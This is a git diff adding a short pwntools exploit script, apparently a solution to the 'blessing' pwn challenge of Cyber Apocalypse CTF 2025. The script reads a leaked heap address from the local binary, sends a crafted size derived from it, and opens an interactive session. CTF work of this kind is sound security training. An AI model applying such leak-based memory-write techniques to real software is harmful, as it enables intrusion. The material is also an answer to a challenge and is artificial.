diff --git a/cyberapocalypse_ctf_2025_tales_from_eldoria/blessing/a.py b/cyberapocalypse_ctf_2025_tales_from_eldoria/blessing/a.py new file mode 100644 index 0000000..2b72992 --- /dev/null +++ b/cyberapocalypse_ctf_2025_tales_from_eldoria/blessing/a.py @@ -0,0 +1,21 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./blessing", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendlineafter(b": ", a) + +# leak +r.recvuntil(b"this: ") +malloced = int(r.recv(14), 16) +log.info("malloced: %#x", malloced) + +# buf +r.recvuntil(b"song?") +s(str(malloced+1).encode()) +s(b"0") + +r.interactive() \ No newline at end of file